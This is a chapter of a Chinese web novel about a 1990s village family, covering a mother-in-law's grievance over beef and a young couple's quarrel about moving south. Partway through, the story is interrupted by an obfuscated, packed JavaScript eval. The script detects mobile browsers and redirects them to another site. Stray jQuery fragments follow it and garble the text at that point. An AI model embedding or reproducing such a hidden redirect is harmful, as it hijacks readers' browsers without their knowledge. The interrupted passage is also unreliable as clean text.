28. 五斤牛肉

作品:《九零之小村新妇

    阳光越来越炽热了,五月就要过完,夏天眼看就要来了。


    周日,吃完早饭,杨母就拿了干瓢在院子里喂鸡。


    喂着喂着,就觉得肚子里一阵绞痛。


    她急忙放下干瓢上了厕所,这一上就越发不可收拾,整个上午,她居然上了七八趟厕所。


    “妈,妈,柔贤吃饭的小围兜子被你昨天从晾绳上收到哪里去了?”孙巧来到院子里,不见杨母,就高声喊。


    喊了好几声,才看见杨母捂着肚子,苦着脸从厕所里出来:“围兜在你们那屋的床头柜上,哎呦,我这肚子!”


    孙巧见了就说:“妈,你是不是吃了什么不好的东西了?”


    想起自己这两天赌气吃的变质的酸豆角,杨母不好意思直说,只好说:“估计是,我这半天都跑了七八趟了!”


    孙巧毫不犹豫地说:“你在家里呆着,我去镇上医院给你买拉肚子药去。”


    见此情形,雨婷暗暗点头,果然孙巧的心地还是善良的,知道给她买药。要是换了心肠不好的,就让她自己去买药她又能怎么样呢。


    孙巧推了自行车,从镇上回来的时候,除了带回来一盒拉肚子药,还拎回来一大提子牛肉。


    “你这牛肉有几斤啊?”杨母轻声问。


    “五斤!”孙巧把药盒子递给杨母,自己拎着牛肉去了厨房。


    随后,她手里拎着被切掉了一半的牛肉,来到院子里又去推自行车。


    “老三家的,你这是要去哪里?”杨母又问。


    “我把这剩下的牛肉送到槐花村我爸妈那去!”孙巧说。


    杨母脸色微微一变,想起二柱和钱华的嘱托,终究是什么也没说,只笑了笑:“难得回去,多跟你爸妈拉会家常!”


    孙巧答应了一声,一阵风似的骑车走了。


    这时候,杨母才高声叫道:“三柱!三柱!你在房里干嘛呢?”


    “妈,我看书呢!”三柱的声音从房里传来。


    “我拉肚子拉得浑身没力气,你给我倒杯热水来带药!”杨母说着,就来到老槐树下,在雨婷的对面坐了下来。


    三柱答应了一声,随即就端了一杯热水放在石头桌子上。


    “老三哪,你媳妇回娘家去了,你怎么没跟着一起回去啊?”杨母撕着药盒。


    “什么?孙巧回槐花村了?她回去干嘛?”


    杨母把一粒药丸放进嘴里,拿起杯子喝了一口水,仰起脖子带下药。


    然后将杯子往桌子上一顿,满脸都是感慨万千:“你看看,你看看!你媳妇一天到晚干什么事,去哪里,你都不知道!”、


    三柱有些尴尬,轻轻咳嗽了一声,没说话。


    杨母又叹了一口气:“我的儿啊!你是挣钱的人,不是花钱的人哪!”


    “妈,您这话又是怎么说?”


    “怎么说?你天天在厂里一干就是一整天,骑个自行车早出晚归,顶月亮沾露水的!来回那么远的路,你晚上回来还能干点别的吗?”


    三柱摇了摇头:“我都上了一天班了,回来只想休息,我还能干什么呢!”


    “那星期天的时候,你还会去干什么吗?”


    三柱又摇了摇头:“一般不干什么,就看看书看看电视。”


    杨母一拍大腿:“那不就是了!你天天忙死忙活的,你挣的钱有几个花到你自己身上了?”


    三柱没有做声。


    杨母顿了一顿方道:“你那媳妇性子这么厉害,当面我是不敢说她的。我也只敢等她不在的时候说了。她带着个孩子,今天买一堆零食,明天买一堆衣服。那零食要是光给孩子吃也就罢了,我也不说了,可柔贤那丫头是个猫肚子,根本吃不了多少,十袋有九袋都进了她的肚子!”


    二柱缓缓道:“妈,她是我媳妇,她不就该花我的钱么?再说我一个男人不挣钱做什么呢?”


    “可人家的媳妇都是省吃俭用的,不乱花男人辛苦挣的钱,你媳妇倒好,大手大脚的,这还得了!金山银山也被她花空了!”杨母的声音高了起来。


    “妈——您是不是还为上次孙巧过生日那皮鞋生气啊?那真的一年只有一次,孙巧知道存钱过日子的!”三柱的语气里透露出明显的无奈。


    他看了雨婷一眼,神色尴尬。


    雨婷觉得三柱还算是三观正的男人,起码不会像当初的大柱那样,杨母几句话一挑唆,立刻就上来找赵芳的事。


    见儿子不听,杨母再接再厉:“就说今儿个吧,说是上街给我买拉肚子药,回来却拎了一大提子牛肉回来,足足有五斤呢!我的乖乖,咱们庄户人家,谁家吃牛肉能吃那么多!”


    “吃不完,腌起来晒晒再吃呗!”三柱说完,起身就要走。


    “真要是吃不完腌起来也就罢了,可她还割了一半送回槐花村你老丈人家去了,乖乖,牛肉多贵啊!”杨母心疼地说。


    “妈,那是她爸妈,她孝敬不是应该的么!”


    杨母将眼睛一瞪:“你那老丈人,是吃公家饭的铁饭碗,哪里就买不起牛肉了?哪里就要闺女贴了?”


    三柱叹了口气:“好了妈,你别生气了,我回头说她,回头说她啊!”


    说完,他几乎是落荒而逃,跑回了自己房间。


    杨母见儿子油盐不进,不由得恨恨地跺了跺脚,回房生闷气去了。


    这时候,四柱推着车子从街上回来了。


    他的生意显然更好了,袋子里装的菜明显更多了。


    见雨婷坐在老槐树下,四柱仿佛没有看见一样,拎着袋子直接去了水井边。


    雨婷看着他从袋子里掏出了很多蔬菜,知道他一个人忙忙的时间太紧。


    想想这段日子他对自己的好,雨婷决定不跟他计较,反正自己没多久就要走了。


    想到这里,她就说:“四柱,你把那些葱蒜韭菜拿给我,我来剥吧。”


    四柱低头剥葱,显然是故意装做听不见她的话。


    “四柱!我来帮你剥葱!”雨婷大声道。


    四柱依然不理她。


    雨婷刷地站起身来,没有拄棍子,一瘸一拐地来到四柱面前,冷冷地道:“什么意思?直说!”


    四柱缓缓抬起头,冷冷地道:“这句话应该是我问你吧!潘雨婷,你什么意思?你直说!”


    “我——我没什么意思,我就是看你太忙了,想帮帮你而已!”雨婷避开了他的视线


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901978|191543||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “你知道我问的不是这个!”四柱烦躁地说。


    “那你想问什么?”


    “我想问,你是不是压根就不打算跟我做夫妻过日子?”


    问到节骨眼上了,雨婷不能再回避了。


    于是,她垂下眼帘:“我早就跟你说过,我过不惯村里的日子!”


    “那你想去哪里?过什么样的日子?”


    雨婷咬了咬嘴唇:“南方的大城市!”


    四柱扬了扬眉毛:“南方的大城市有什么好?让你如此向往?”


    “因为那里有很多挣钱的机会!”


    四柱眉毛一扬:“你可真傻,你以为深圳广州那些地方遍地都是黄金,就等你弯腰去捡,是吗?”


    “我没有这样想过,可是我却知道,深圳广州那些地方机会遍地,不会辜负任何一个肯背水一战的人!”


    “若肯背水一战,天下何处不是机会?难不成这滁州城就没有机会让你发财了?”四柱的喉咙有些沙哑。


    “滁州?”雨婷撇了撇嘴,有些轻蔑地说:“滁州怎能跟广州比!”


    四柱似乎被噎了一下,顿了一顿方道:“可是你有没有想过,广州那样的地方,可是汇聚了天下的精英,要是每个人去了都能当老板,那广州还有打工的人吗?行行出状元,那是一定的,可是一榜之内,状元到底能有几人?”


    “我不管!反正我不甘心!”雨婷一扭脖子,样子十分倔强。


    四柱叹了口气,语重心长:“雨婷,是金子到哪里都会发光,你若是经商的料子,在滁州一样可以飞黄腾达,何必舍近求远。”


    “那是你不懂平台与风口,你没听说过那句话么,站在风口上,连猪都会飞的!”话音刚落,雨婷立刻就后悔了。


    平台和风口那可都是二十一世纪新生的词汇了,四柱一个九十年代的人,怎么会懂得这些。


    果然,四柱面露疑惑之色:“什么平台?什么风口?”


    “没有啦,反正我的意思,就是在广州才更容易成功!”她急忙转移话题。


    四柱哼了一声:“那你觉得你有成功人士的潜质吗?”


    “你这话什么意思?”雨婷瞪大了眼睛。


    四柱缓缓道:“我就问你,你绣花练习了这么久,有我大嫂成功么?”


    这下,轮到雨婷被噎住了。


    过了半天,她才磕磕巴巴地为自己找到了说辞:“你不也说过,绣花需要天赋和灵气,这就是个艺术活吧,我绣花不行,不等于做生意不行吧!”


    “我说的不是你绣花不行,是你太固执了!”四柱忍无可忍地吼了起来。


    这一吼,把房里的杨母和三柱都惊动了,娘儿俩都跑到院子里,惊疑地看着他们。


    四柱接着吼道:“你明知道自己绣不出成果,还要一条路走到黑,你这样的性格做生意,当心赔得倾家荡产!你有眼无珠,不知道什么是最应该珍惜的,你不配做生意!”


    雨婷大怒,只觉得浑身的血液都涌上了头顶。


    有生以来,她还从来没有被人这样当面奚落和骂过。


    越想越怒,于是她上前一步,啪的一声,给了四柱一个耳光。